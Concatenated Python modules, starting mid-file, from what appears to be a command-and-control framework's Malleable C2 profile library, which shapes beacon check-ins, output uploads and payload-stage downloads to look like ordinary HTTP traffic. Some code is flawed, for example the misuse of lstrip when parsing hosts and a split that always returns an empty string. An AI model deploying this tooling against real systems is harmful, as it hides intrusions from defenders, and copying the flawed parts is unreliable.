107 arg2 = arg[j+1] if len(arg) > j+1 else None
108 if item2 and arg2:
109 if item2.lower() == "output":
110 self.server.output._parse(arg2)
111
112 def construct_client(self, host, metadata):
113 """Construct a Client request using the provided metadata to the provided host.
114
115 Args:
116 host (str): Host to direct client request to.
117 metadata (str): Metadata to include in the request.
118
119 Returns:
120 Transaction.Client: Constructed Client request.
121 """
122 request = self.client._clone()
123 request.host = host
124 request.path = self.client.random_uri()
125 request.store(self.client.metadata.transform(metadata), self.client.metadata.terminator)
126 return request
127
128 def extract_client(self, request):
129 """Extract the metadata from the provided MalleableRequest.
130
131 Args:
132 request (MalleableRequest)
133
134 Returns:
135 str: metadata
136 """
137 for u in (self.client.uris if self.client.uris else ["/"]):
138 if u.lower() in request.path.lower():
139 metadata = request.extract(self.client, self.client.metadata.terminator)
140 if metadata:
141 m = self.client.metadata.transform_r(metadata)
142 if isinstance(m, str):
143 m = m.encode("latin-1")
144 return m
145 return None
146
147 def construct_server(self, output):
148 """Construct a Server response using the provided output.
149
150 Args:
151 output (str): Output to include in the request.
152
153 Returns:
154 Transaction.Server: Constructed Server response.
155 """
156 response = self.server._clone()
157 response.store(self.server.output.transform(output), self.server.output.terminator)
158 return response
159
160 def extract_server(self, response):
161 """Extract the output from the provided MalleableResponse.
162
163 Args:
164 response (MalleableResponse)
165
166 Returns:
167 str: output
168 """
169 output = response.extract(self.server, self.server.output.terminator)
170 return self.server.output.transform_r(output) if output else None
171
172 class Post(Transaction):
173 """The Post implementation of a Transaction.
174
175 The Post Transaction is used to exchange information with the server. In a Post Transaction,
176 the following data is transmitted:
177 - (Client) id (Session ID)
178 - (Client) output (Beacon's responses)
179 - (Server) output (Empty)
180 """
181
182 def _defaults(self):
183 """Default initialization for the Post Transaction."""
184 super(Post, self)._defaults()
185 self.client.id = Container()
186 self.client.output = Container()
187 self.server.output = Container()
188 self.client.verb = "POST"
189
190 def _clone(self):
191 """Deep copy of the Post Transaction.
192
193 Returns:
194 Post Transaction
195 """
196 new = super(Post, self)._clone()
197 new.client.id = self.client.id._clone()
198 new.client.output = self.client.output._clone()
199 new.server.output = self.server.output._clone()
200 new.client.verb = self.client.verb
201 return new
202
203 def _serialize(self):
204 """Serialize the Post Transaction.
205
206 Returns:
207 dict (str, obj)
208 """
209 d = super(Post, self)._serialize()
210 d["client"] = dict((list(d["client"].items()) if "client" in d else []) + list({
211 "id" : self.client.id._serialize(),
212 "output" : self.client.output._serialize()
213 }.items()))
214 d["server"] = dict((list(d["server"].items()) if "server" in d else []) + list({
215 "output" : self.server.output._serialize()
216 }.items()))
217 return dict(list(d.items()) + list({
218
219 }.items()))
220
221 @classmethod
222 def _deserialize(cls, data):
223 """Deserialize data into a Post Transaction.
224
225 Args:
226 data (dict (str, obj)): Serialized data (json)
227
228 Returns:
229 Post Transaction
230 """
231 post = super(Post, cls)._deserialize(data)
232 if data:
233 post.client.id = Container._deserialize(data["client"]["id"]) if ("client" in data and "id" in data["client"]) else Container()
234 post.client.output = Container._deserialize(data["client"]["output"]) if ("client" in data and "output" in data["client"]) else Container()
235 post.server.output = Container._deserialize(data["server"]["output"]) if ("server" in data and "output" in data["server"]) else Container()
236 return post
237
238 @classmethod
239 def _pattern(cls):
240 """Define the pattern to recognize a Post object while parsing a file.
241
242 Returns:
243 pyparsing object
244 """
245 return Literal("http-post") + super(Post, cls)._pattern()
246
247 def _parse(self, data):
248 """Store the information from a parsed pyparsing result.
249
250 Args:
251 data: pyparsing data
252 """
253 super(Post, self)._parse(data)
254 if data:
255 for i in range(0, len(data), 2):
256 item = data[i]
257 arg = data[i+1] if len(data) > i+1 else None
258 if item and arg:
259 if item.lower() == "client":
260 for j in range(0, len(arg), 2):
261 item2 = arg[j]
262 arg2 = arg[j+1] if len(arg) > j+1 else None
263 if item2 and arg2:
264 if item2.lower() == "id":
265 self.client.id._parse(arg2)
266 elif item2.lower() == "output":
267 self.client.output._parse(arg2)
268 elif item.lower() == "server":
269 for j in range(0, len(arg), 2):
270 item2 = arg[j]
271 arg2 = arg[j+1] if len(arg) > j+1 else None
272 if item2 and arg2:
273 if item2.lower() == "output":
274 self.server.output._parse(arg2)
275
276 def construct_client(self, host, id, output):
277 """Construct a Client request using the provided id and output to the provided host.
278
279 Args:
280 host (str): Host to direct client request to.
281 id (str): id to include in the request.
282 output (str): output to include in the request.
283
284 Returns:
285 Transaction.Client: Constructed Client request.
286 """
287 request = self.client._clone()
288 request.host = host
289 request.path = self.client.random_uri()
290 request.store(self.client.id.transform(id), self.client.id.terminator)
291 request.store(self.client.output.transform(output), self.client.output.terminator)
292 return request
293
294 def extract_client(self, request):
295 """Extract the id and output from the provided MalleableRequest.
296
297 Args:
298 request (MalleableRequest)
299
300 Returns:
301 tuple: id, output
302 """
303 for u in (self.client.uris if self.client.uris else ["/"]):
304 if u.lower() in request.path.lower():
305 id = request.extract(self.client, self.client.id.terminator)
306 if isinstance(id, str):
307 id = id.encode('latin-1')
308 output = request.extract(self.client, self.client.output.terminator)
309 trans_r = self.client.id.transform_r(id) if id else None
310 if isinstance(trans_r, str):
311 trans_r = trans_r.encode("latin-1")
312 return (
313 trans_r,
314 self.client.output.transform_r(output) if output else None
315 )
316 return (None, None)
317
318 def construct_server(self, output):
319 """Construct a Server response using the provided output.
320
321 Args:
322 output (str): Output to include in the request.
323
324 Returns:
325 Transaction.Server: Constructed Server response.
326 """
327 response = self.server._clone()
328 response.store(self.server.output.transform(output), self.server.output.terminator)
329 return response
330
331 def extract_server(self, response):
332 """Extract the output from the provided MalleableResponse.
333
334 Args:
335 response (MalleableResponse)
336
337 Returns:
338 str: output
339 """
340 output = response.extract(self.server, self.server.output.terminator)
341 return self.server.output.transform_r(output) if output else None
342
343 class Stager(Transaction):
344 """The Stager implementation of a Transaction.
345
346 The Stager Transaction is used to fetch a payload stage corresponding to the provided
347 metadata. In a Stager Transaction, the following data is transmitted:
348 - (Client) metadata (Session info)
349 - (Server) output (Encoded payload stage)
350 """
351
352 def _defaults(self):
353 """Default initialization for the Stager Transaction."""
354 super(Stager, self)._defaults()
355 self.client.metadata = Container()
356 self.server.output = Container()
357 self.client.verb = "GET"
358
359 def _clone(self):
360 """Deep copy of the Stager Transaction.
361
362 Returns:
363 Stager Transaction
364 """
365 new = super(Stager, self)._clone()
366 new.client.metadata = self.client.metadata._clone()
367 new.server.output = self.server.output._clone()
368 new.client.verb = self.client.verb
369 return new
370
371 def _serialize(self):
372 """Serialize the Stager Transaction.
373
374 Returns:
375 dict (str, obj)
376 """
377 d = super(Stager, self)._serialize()
378 d["client"] = dict((list(d["client"].items()) if "client" in d else []) + list({
379 "metadata" : self.client.metadata._serialize()
380 }.items()))
381 d["server"] = dict((list(d["server"].items()) if "server" in d else []) + list({
382 "output" : self.server.output._serialize()
383 }.items()))
384 return dict(list(d.items()) + list({
385
386 }.items()))
387
388 @classmethod
389 def _deserialize(cls, data):
390 """Deserialize data into a Stager Transaction.
391
392 Args:
393 data (dict (str, obj)): Serialized data (json)
394
395 Returns:
396 Stager Transaction
397 """
398 stager = super(Stager, cls)._deserialize(data)
399 if data:
400 stager.client.metadata = Container._deserialize(data["client"]["metadata"]) if ("client" in data and "metadata" in data["client"]) else Container()
401 stager.server.output = Container._deserialize(data["server"]["output"]) if ("server" in data and "output" in data["server"]) else Container()
402 return stager
403
404 @classmethod
405 def _pattern(cls):
406 """Define the pattern to recognize a Stager object while parsing a file.
407
408 Returns:
409 pyparsing object
410 """
411 return Literal("http-stager") + super(Stager, cls)._pattern()
412
413 def _parse(self, data):
414 """Store the information from a parsed pyparsing result.
415
416 Args:
417 data: pyparsing data
418 """
419 super(Stager, self)._parse(data)
420 if data:
421 for i in range(0, len(data), 2):
422 item = data[i]
423 arg = data[i+1] if len(data) > i+1 else None
424 if item and arg:
425 if item.lower() == "client":
426 for j in range(0, len(arg), 2):
427 item2 = arg[j]
428 arg2 = arg[j+1] if len(arg) > j+1 else None
429 if item2 and arg2:
430 if item2.lower() == "metadata":
431 self.client.metadata._parse(arg2)
432 elif item.lower() == "server":
433 for j in range(0, len(arg), 2):
434 item2 = arg[j]
435 arg2 = arg[j+1] if len(arg) > j+1 else None
436 if item2 and arg2:
437 if item2.lower() == "output":
438 self.server.output._parse(arg2)
439
440 def construct_client(self, host, metadata):
441 """Construct a Client request using the provided metadata to the provided host.
442
443 Args:
444 host (str): Host to direct client request to.
445
446 Returns:
447 Transaction.Client: Constructed Client request.
448 """
449 request = self.client._clone()
450 request.host = host
451 request.path = self.client.random_uri()
452 request.store(self.client.metadata.transform(metadata), self.client.metadata.terminator)
453 return request
454
455 def extract_client(self, request):
456 """Extract the metadata from the provided MalleableRequest.
457
458 Args:
459 request (MalleableRequest)
460
461 Returns: None
462 """
463 for u in (self.client.uris if self.client.uris else ["/"]):
464 if u.lower() in request.path.lower():
465 metadata = request.extract(self.client, self.client.metadata.terminator)
466 if metadata:
467 return self.client.metadata.transform_r(metadata)
468 return None
469
470 def construct_server(self, output):
471 """Construct a Server response using the provided output.
472
473 Args:
474 output (str): Output to include in the request.
475
476 Returns:
477 Transaction.Server: Constructed Server response.
478 """
479 response = self.server._clone()
480 response.store(self.server.output.transform(output), self.server.output.terminator)
481 return response
482
483 def extract_server(self, response):
484 """Extract the output from the provided MalleableResponse.
485
486 Args:
487 response (MalleableResponse)
488
489 Returns:
490 str: output
491 """
492 output = response.extract(self.server, self.server.output.terminator)
493 return self.server.output.transform_r(output) if output else None
0 from __future__ import absolute_import
1 import os, string
2 from pyparsing import *
3 from .utility import MalleableError, MalleableUtil, MalleableObject
4 from .transformation import Transform, Terminator, Container
5 from .transaction import MalleableRequest, MalleableResponse, Transaction
6 from .implementation import Get, Post, Stager
7 from six.moves import range
8
9 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
10 # PROFILE
11 #
12 # Defining the top-layer object to be interacted with.
13 #
14 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
15
16 class Profile(MalleableObject):
17 """A class housing all the functionality of a Malleable C2 profile.
18
19 Attributes:
20 get (Get (Transaction))
21 post (Post (Transaction))
22 stager (Stager (Transaction))
23
24 useragent (str, property)
25 sleeptime (int) [milliseconds]
26 jitter (int) [percent]
27 """
28
29 def _defaults(self):
30 """Default initialization for the Profile object."""
31 super(Profile, self)._defaults()
32 self.get = Get()
33 self.post = Post()
34 self.stager = Stager()
35 self.sleeptime = 60000
36 self.jitter = 0
37
38 def _clone(self):
39 """Deep copy of the Profile object.
40
41 Returns:
42 Profile
43 """
44 new = super(Profile, self)._clone()
45 new.get = self.get._clone()
46 new.post = self.post._clone()
47 new.stager = self.stager._clone()
48 new.sleeptime = self.sleeptime
49 new.jitter = self.jitter
50 return new
51
52 def _serialize(self):
53 """Serialize the Profile object.
54
55 Returns:
56 dict (str, obj): Serialized data (json)
57 """
58 return dict(list(super(Profile, self)._serialize().items()) + list({
59 "get" : self.get._serialize(),
60 "post" : self.post._serialize(),
61 "stager" : self.stager._serialize(),
62 "sleeptime" : self.sleeptime,
63 "jitter" : self.jitter
64 }.items()))
65
66 @classmethod
67 def _deserialize(cls, data):
68 """Deserialize data into a Profile object.
69
70 Args:
71 data (dict (str, obj)): Serialized data (json)
72
73 Returns:
74 Profile object
75 """
76 profile = super(Profile, cls)._deserialize(data)
77 if data:
78 try:
79 profile.get = Get._deserialize(data["get"]) if "get" in data else Get()
80 profile.post = Post._deserialize(data["post"]) if "post" in data else Post()
81 profile.stager = Stager._deserialize(data["stager"]) if "stager" in data else Stager()
82 profile.sleeptime = int(data["sleeptime"]) if "sleeptime" in data else 60000
83 profile.jitter = int(data["jitter"]) if "jitter" in data else 0
84 except Exception as e:
85 MalleableError.throw(cls, "_deserialize", "An error occurred: " + str(e))
86 return profile
87
88 @classmethod
89 def _pattern(cls):
90 """Define the pattern to recognize a Profile object while parsing a file.
91
92 Returns:
93 pyparsing object
94 """
95 return ZeroOrMore(
96 cls.COMMENT |
97 (Literal("set") + Group(cls.FIELD + cls.VALUE) + cls.SEMICOLON) |
98 Get._pattern() |
99 Post._pattern() |
100 Stager._pattern())
101
102 def _parse(self, data):
103 """Store the information from a parsed pyparsing result.
104
105 Args:
106 data: pyparsing data
107 """
108 if data:
109 for group in [d for d in data if d]:
110 for i in range(0, len(group), 2):
111 item = group[i]
112 arg = group[i+1] if len(group) > i+1 else None
113 if item and arg:
114 if item.lower() == "set" and len(arg) > 1:
115 key, value = arg[0], arg[1]
116 if key and value:
117 setattr(self, key, value)
118 elif item.lower() == "http-get":
119 self.get._parse(arg)
120 elif item.lower() == "http-post":
121 self.post._parse(arg)
122 elif item.lower() == "http-stager":
123 self.stager._parse(arg)
124
125 @property
126 def useragent(self):
127 """Get the profile useragent.
128
129 Returns:
130 str: useragent
131 """
132 return self.get.client.headers["User-Agent"] if "User-Agent" in self.get.client.headers else None
133
134 @useragent.setter
135 def useragent(self, useragent):
136 """Set the profile useragent.
137
138 Args:
139 useragent (str)
140 """
141 self.get.client.headers["User-Agent"] = useragent
142 self.post.client.headers["User-Agent"] = useragent
143 self.stager.client.headers["User-Agent"] = useragent
144
145 def validate(self):
146 """Validate the profile to verify it will succeed when used.
147
148 Returns:
149 bool: True if no checks fail.
150
151 Raises:
152 MalleableError: If a check fails.
153 """
154 host = "http://domain.com:80"
155 #data = string.printable
156 data = string.printable.encode('latin-1')
157 for format, p in [("base", self), ("clone", self._clone()), ("serialized", Profile._deserialize(self._serialize()))]:
158 test = p.get.construct_client(host, data)
159 clone = MalleableRequest()
160 clone.url = test.url
161 clone.verb = test.verb
162 clone.headers = test.headers
163 clone.body = test.body
164 if self.get.extract_client(clone) != data:
165 MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-get-client-metadata" % format)
166
167 test = p.get.construct_server(data)
168 clone = MalleableResponse()
169 clone.headers = test.headers
170 clone.body = test.body
171 if self.get.extract_server(clone) != data:
172 MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-get-server-output" % format)
173
174 test = p.post.construct_client(host, data, data)
175 clone = MalleableRequest()
176 clone.url = test.url
177 clone.verb = test.verb
178 clone.headers = test.headers
179 clone.body = test.body
180 id, output = self.post.extract_client(clone)
181 if id != data:
182 MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-post-client-id" % format)
183 if output != data:
184 MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-post-client-output" % format)
185
186 test = p.post.construct_server(data)
187 clone = MalleableResponse()
188 clone.headers = test.headers
189 clone.body = test.body
190 if self.post.extract_server(clone) != data:
191 MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-post-server-output" % format)
192
193 test = p.stager.construct_client(host, data)
194 clone = MalleableRequest()
195 clone.url = test.url
196 clone.verb = test.verb
197 clone.headers = test.headers
198 clone.body = test.body
199 if self.stager.extract_client(clone) != data:
200 MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-stager-client-metadata" % format)
201
202 test = p.stager.construct_server(data)
203 clone = MalleableResponse()
204 clone.headers = test.headers
205 clone.body = test.body
206 if self.stager.extract_server(clone) != data:
207 MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-stager-server-output" % format)
208
209 if set(self.get.client.uris).intersection(set(self.post.client.uris)) or \
210 set(self.post.client.uris).intersection(set(self.stager.client.uris)) or \
211 set(self.stager.client.uris).intersection(set(self.get.client.uris)) or \
212 len(self.get.client.uris + (self.post.client.uris if self.post.client.uris else ["/"])) == 0 or \
213 len(self.post.client.uris + (self.stager.client.uris if self.stager.client.uris else ["/"])) == 0 or \
214 len(self.stager.client.uris + (self.get.client.uris if self.get.client.uris else ["/"])) == 0 or \
215 ("/" in self.get.client.uris and len(self.post.client.uris) == 0) or \
216 ("/" in self.get.client.uris and len(self.stager.client.uris) == 0) or \
217 ("/" in self.post.client.uris and len(self.stager.client.uris) == 0) or \
218 ("/" in self.post.client.uris and len(self.get.client.uris) == 0) or \
219 ("/" in self.stager.client.uris and len(self.get.client.uris) == 0) or \
220 ("/" in self.stager.client.uris and len(self.post.client.uris) == 0):
221 MalleableError.throw(self.__class__, "validate", "Cannot have duplicate uris: %s - %s - %s" % (
222 self.get.client.uris if self.get.client.uris else ["/"],
223 self.post.client.uris if self.post.client.uris else ["/"],
224 self.stager.client.uris if self.stager.client.uris else ["/"]
225 ))
226
227 return True
228
229 def ingest(self, file):
230 """Ingest a profile file into the Profile object.
231
232 Args:
233 file (str): Filename to be read and parsed.
234 """
235 if not file or not os.path.isfile(file):
236 MalleableError.throw(self.__class__, "ingest", "Invalid file: %s" % str(file))
237
238 content = None
239 with open(file) as f:
240 content = f.read()
241
242 if not content:
243 MalleableError.throw(self.__class__, "ingest", "Empty file: %s" % str(file))
244
245 self._parse(self._pattern().searchString(content))
0 from __future__ import absolute_import
1 import random, six.moves.urllib.parse, six.moves.urllib.request, six.moves.urllib.error
2 from pyparsing import *
3 from .utility import MalleableError, MalleableUtil, MalleableObject
4 from .transformation import Transform, Terminator, Container
5 from six.moves import range
6
7 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
8 # TRANSACTION
9 #
10 # Defining the core components of an interaction between a web
11 # client request and a web server response.
12 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
13
14 class MalleableRequest(MalleableObject):
15 """A generic request class used to transfer the contents of an html request.
16
17 Attributes:
18 _url (urlparse.SplitResult)
19 url (str, property)
20 verb (str)
21 scheme (str, property)
22 netloc (str, property)
23 host (str, property)
24 port (str, property)
25 path (str, property)
26 parameters (dict (str, str))
27 extra (str)
28 headers (dict (str, str))
29 body (str)
30 """
31
32 def _defaults(self):
33 """Default initialization for the MalleableRequest object."""
34 super(MalleableRequest, self)._defaults()
35 self._url = six.moves.urllib.parse.SplitResult("http","","/","","")
36 self.verb = "GET"
37 self.extra = ""
38 self.headers = {}
39 self.body = ""
40
41 def _clone(self):
42 """Deep copy of the MalleableRequest object.
43
44 Returns:
45 MalleableRequest
46 """
47 new = super(MalleableRequest, self)._clone()
48 new._url = self._url
49 new.verb = self.verb
50 new.extra = self.extra
51 new.headers = {k:v for k,v in self.headers.items()}
52 new.body = self.body
53 return new
54
55 def _serialize(self):
56 """Serialize the MalleableRequest object.
57
58 Returns:
59 dict (str, obj)
60 """
61 return dict(list(super(MalleableRequest, self)._serialize().items()) + list({
62 "url" : self.url,
63 "verb" : self.verb,
64 "extra" : self.extra,
65 "headers" : self.headers,
66 "body" : self.body
67 }.items()))
68
69 @classmethod
70 def _deserialize(cls, data):
71 """Deserialize data into a MalleableRequest object.
72
73 Args:
74 data (dict (str, obj)): Serialized data (json)
75
76 Returns:
77 MalleableRequest object
78 """
79 request = super(MalleableRequest, cls)._deserialize(data)
80 if data:
81 request.url = data["url"] if "url" in data else ""
82 request.verb = data["verb"] if "verb" in data else "GET"
83 request.extra = data["extra"] if "extra" in data else ""
84 request.headers = data["headers"] if "headers" in data else {}
85 request.body = data["body"] if "body" in data else ""
86 return request
87
88 @classmethod
89 def _pattern(cls):
90 """Define the pattern to recognize a MalleableRequest object while parsing a file.
91
92 Returns:
93 pyparsing object
94 """
95 return Group(Suppress("{") + ZeroOrMore(
96 cls.COMMENT |
97 (Literal("header") + Group(cls.VALUE + cls.VALUE) + cls.SEMICOLON) |
98 (Literal("parameter") + Group(cls.VALUE + cls.VALUE) + cls.SEMICOLON) |
99 Container._pattern()
100 ) + Suppress("}"))
101
102 def _parse(self, data):
103 """Store the information from a parsed pyparsing result.
104
105 Args:
106 data: pyparsing data
107 """
108 if data:
109 for i in range(0, len(data), 2):
110 item = data[i]
111 arg = data[i+1] if len(data) > i+1 else None
112 if item and arg:
113 if item.lower() == "header" and len(arg) > 1:
114 key, value = arg[0], arg[1]
115 if key and value:
116 self.header(key, value)
117 elif item.lower() == "parameter" and len(arg) > 1:
118 key, value = arg[0], arg[1]
119 if key and value:
120 self.parameter(key, value)
121
122 def _replace(self, scheme=None, host=None, port=None, path=None, parameters=None, verb=None, extra=None, headers=None, body=None):
123 """Clone the MalleableRequest object while replacing the provided attributes.
124
125 Args:
126 scheme (str, optional)
127 host (str, optional)
128 port (str, optional)
129 path (str, optional)
130 parameters (dict (str, str), optional)
131 verb (str, optional)
132 extra (str, optional)
133 headers (dict (str, str), optional)
134 body (str, optional)
135
136 Returns:
137 MalleableRequest object
138 """
139 new = self._clone()
140 if scheme is not None: new.scheme = scheme
141 if host is not None: new.host = host
142 if port is not None: new.port = port
143 if path is not None: new.path = path
144 if parameters is not None: new.parameters = parameters
145 if verb is not None: new.verb = verb
146 if extra is not None: new.extra = extra
147 if headers is not None: new.headers = headers
148 if body is not None: new.body = body
149 return new
150
151 @property
152 def url(self):
153 """Getter for the full url.
154
155 Note: Actually generates from the urlparse.SplitResult _url.
156
157 Returns:
158 str: url
159 """
160 extra = self.extra
161 if isinstance(extra, bytes):
162 extra = extra.decode("Latin-1")
163 url = (six.moves.urllib.parse.urlunsplit(self._url) + extra)
164 return url
165
166 @url.setter
167 def url(self, url):
168 """Setter for the full url.
169
170 Note: Actually sets parses the input into the urlparse.SplitResult _url.
171
172 Args:
173 url (str)
174 """
175 if "://" in url:
176 if "http://" not in url.lower() and "https://" not in url.lower():
177 MalleableError.throw(self.__class__, "url", "Scheme not supported: %s" % url)
178 else:
179 url = "http://" + url
180 temp = six.moves.urllib.parse.urlsplit(url, allow_fragments=False)
181 self._url = temp
182 if temp.query != '':
183 self.path = temp[2] + '?' + temp[3]
184 else:
185 self.path = temp[2] + temp[3]
186 return self._url
187
188 @property
189 def scheme(self):
190 """Getter for the scheme.
191
192 Returns:
193 str: scheme
194 """
195 return self._url.scheme
196
197 @scheme.setter
198 def scheme(self, scheme):
199 """Setter for the scheme.
200
201 Args:
202 scheme (str)
203 """
204 self._url = self._url._replace(scheme=scheme.lower() if scheme else "")
205
206 @property
207 def netloc(self):
208 """Getter for the netloc.
209
210 Returns:
211 str: netloc
212 """
213 return self._url.netloc
214
215 @netloc.setter
216 def netloc(self, netloc):
217 """Setter for the netloc.
218
219 Args:
220 netloc (str)
221 """
222 self._url = self._url._replace(netloc=netloc)
223
224 @property
225 def host(self):
226 """Getter for the host.
227
228 Returns:
229 str: host
230 """
231 return self._url.hostname
232
233 @host.setter
234 def host(self, host):
235 """Setter for the host.
236
237 Args:
238 host (str)
239
240 Raises:
241 MalleableError: If scheme not supported.
242 """
243 if "://" in host:
244 if "http://" in host:
245 host = host.lstrip("http://")
246 self.scheme = "http"
247 elif "https://" in host:
248 host = host.lstrip("https://")
249 self.scheme = "https"
250 else:
251 MalleableError.throw(self.__class__, "host", "Scheme not supported: %s" % host)
252 if ":" not in host and self._url.port:
253 host += ":" + str(self._url.port)
254 self._url = self._url._replace(netloc=host)
255
256 @property
257 def port(self):
258 """Getter for the port.
259
260 Returns:
261 str: port
262 """
263 return self._url.port
264
265 @port.setter
266 def port(self, port):
267 """Setter for the port.
268
269 Args:
270 port (int)
271 """
272 hostname = self._url.hostname
273 netloc = (str(hostname) if hostname else "") + ((":"+str(port)) if port else "")
274 self._url = self._url._replace(netloc=netloc)
275
276 @property
277 def path(self):
278 """Getter for the path.
279
280 Returns:
281 str: path
282 """
283 return self._url.path
284
285 @path.setter
286 def path(self, path):
287 """Setter for the path.
288
289 Args:
290 path (str)
291 """
292 self._url = self._url._replace(path=path)
293
294 @property
295 def query(self):
296 """Getter for the query string.
297
298 Returns:
299 str: query
300 """
301 return self._url.query
302
303 @query.setter
304 def query(self, query):
305 """Setter for the query string.
306
307 Args:
308 query (str)
309 """
310 self._url = self._url._replace(query=query)
311
312 @property
313 def parameters(self):
314 """Getter for the parameters.
315
316 Note: Actually generated from urlparse.SplitResult _url.
317
318 Returns:
319 dict (str, str): parameters
320 """
321 return dict(six.moves.urllib.parse.parse_qsl(self._url.query))
322
323 @parameters.setter
324 def parameters(self, parameters):
325 """Setter for the parameters.
326
327 Note: Actually sets the query string in urlparse.SplitResult _url.
328
329 Args:
330 parameters (dict(str, str))
331 """
332 query = six.moves.urllib.parse.urlencode(parameters) if parameters else ""
333 self._url = self._url._replace(query=query)
334
335 def parameter(self, parameter, value):
336 """Add a single parameter.
337
338 Args:
339 parameter (str)
340 value (str)
341 """
342 p = self.parameters
343 p[parameter] = value
344 self.parameters = p
345
346 def get_parameter(self, parameter):
347 """Get a single parameter value.
348
349 Args:
350 parameter (str)
351
352 Returns:
353 parameter value if exists else None.
354 """
355 if parameter:
356 parameter = parameter.lower()
357 if self.parameters:
358 parameters = {k.lower():v for k,v in self.parameters.items()}
359 if parameter in parameters:
360 return parameters[parameter]
361 return None
362
363 def header(self, header, value):
364 """Set a single header value.
365
366 Args:
367 header (str)
368 value (str)
369 """
370 self.headers[header] = value
371
372 def get_header(self, header):
373 """Get a single header value.
374
375 Args:
376 header (str)
377
378 Returns:
379 header value if exists else None.
380 """
381 if header:
382 header = header.lower()
383 if self.headers:
384 headers = {k.lower():v for k,v in self.headers.items()}
385 if header in headers:
386 return headers[header]
387 return None
388
389 def store(self, data, terminator):
390 """Store the data according to the specified terminator.
391
392 Args:
393 data (str): The data to be stored.
394 terminator (Terminator): The terminator specifying where to store the data.
395 """
396 if terminator.type == Terminator.HEADER: self.header(terminator.arg, data)
397 elif terminator.type == Terminator.PARAMETER: self.parameter(terminator.arg, data)
398 elif terminator.type == Terminator.URIAPPEND: self.extra = data
399 elif terminator.type == Terminator.PRINT: self.body = data
400
401 def extract(self, original, terminator):
402 """Extract the data according to the specified terminator.
403
404 Args:
405 original (MalleableRequest): The original request to compare to.
406 terminator (Terminator): The terminator specifying where the data is stored.
407 """
408 data = None
409 if terminator.type == Terminator.HEADER:
410 data = self.get_header(terminator.arg)
411 if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('Latin-1')
412 elif terminator.type == Terminator.PARAMETER:
413 data = self.get_parameter(terminator.arg)
414 if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('Latin-1')
415 elif terminator.type == Terminator.URIAPPEND:
416 if self.extra:
417 data = six.moves.urllib.parse.unquote_to_bytes(self.extra).decode('Latin-1')
418 elif original.parameters:
419 for p in sorted(original.parameters, key=len, reverse=True):
420 known = original.parameters[p]
421 shown = self.get_parameter(p)
422 if shown and known.lower() in shown.lower() and len(shown) > len(known):
423 data = known.split(known)[-1]
424 if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('Latin-1')
425 break
426 else:
427 for known in sorted(original.uris, key=len, reverse=True):
428 shown = self.path
429 if known.lower() in shown.lower() and len(shown) > len(known):
430 data = shown.split(known)[-1]
431 if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('Latin-1')
432 break
433 elif terminator.type == Terminator.PRINT: data = self.body
434
435 if isinstance(data, str):
436 data = data.encode('Latin-1')
437 return data
438
439 class MalleableResponse(MalleableObject):
440 """A generate response class used to transfer the contents of an html response.
441
442 Attributes:
443 code (int)
444 headers (dict (str, str))
445 body (str)
446 """
447
448 def _defaults(self):
449 """Default initialization for the MalleableResponse object."""
450 super(MalleableResponse, self)._defaults()
451 self.code = 200
452 self.headers = {}
453 self.body = ""
454
455 def _clone(self):
456 """Deep copy of the MalleableResponse object.
457
458 Returns:
459 MalleableResponse
460 """
461 new = super(MalleableResponse, self)._clone()
462 new.code = self.code
463 new.headers = {k: v for k,v in self.headers.items()}
464 new.body = self.body
465 return new
466
467 def _serialize(self):
468 """Serialize the MalleableResponse object.
469
470 Returns:
471 dict (str, obj)
472 """
473 return dict(list(super(MalleableResponse, self)._serialize().items()) + list({
474 "code" : self.code,
475 "headers" : self.headers,
476 "body" : self.body
477 }.items()))
478
479 @classmethod
480 def _deserialize(cls, data):
481 """Deserialize data into a MalleableReponse object.
482
483 Args:
484 data (str): Serialized data (json)
485
486 Returns:
487 MalleableResponse object
488 """
489 response = super(MalleableResponse, cls)._deserialize(data)
490 if data:
491 response.code = data["code"] if "code" in data else 200
492 response.headers = data["headers"] if "headers" in data else {}
493 response.body = data["body"] if "body" in data else ""
494 return response
495
496 @classmethod
497 def _pattern(cls):
498 """Define the pattern to recognize a MalleableResponse object while parsing a file.
499
500 Returns:
501 pyparsing object
502 """
503 return Group(Suppress("{") + ZeroOrMore(
504 cls.COMMENT |
505 (Literal("header") + Group(cls.VALUE + cls.VALUE) + cls.SEMICOLON) |
506 Container._pattern()
507 ) + Suppress("}"))
508
509 def _parse(self, data):
510 """Store the information from a parsed pyparsing result.
511
512 Args:
513 data: pyparsing data
514 """
515 if data:
516 for i in range(0, len(data), 2):
517 item = data[i]
518 arg = data[i+1] if len(data) > i+1 else None
519 if item and arg:
520 if item.lower() == "header" and len(arg) > 1:
521 key, value = arg[0], arg[1]
522 if key and value:
523 self.header(key, value)
524
525 def get_header(self, header):
526 """Get a single header value.
527
528 Args:
529 header (str)
530
531 Returns:
532 header value if exists else None.
533 """
534 if header:
535 header = header.lower()
536 if self.headers:
537 headers = {k.lower():v for k,v in self.headers.items()}
538 if header in headers:
539 return headers[header]
540 return None
541
542 def header(self, header, value):
543 """Set a single header value.
544
545 Args:
546 header (str)
547 value (str)
548 """
549 self.headers[header] = value
550
551 def store(self, data, terminator):
552 """Store the data according to the specified terminator.
553
554 Args:
555 data (str): The data to be stored.
556 terminator (Terminator): The terminator specifying where to store the data.
557 """
558 if terminator.type == Terminator.HEADER: self.header(terminator.arg, data)
559 elif terminator.type == Terminator.PRINT: self.body = data
560
561 def extract(self, original, terminator):
562 """Extract the data according to the specified terminator.
563
564 Args:
565 original (MalleableResponse): The original request to compare to.
566 terminator (Terminator): The terminator specifying where the data is stored.
567 """
568 data = None
569 if terminator.type == Terminator.HEADER:
570 data = self.get_header(terminator.arg)
571 if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('latin-1')
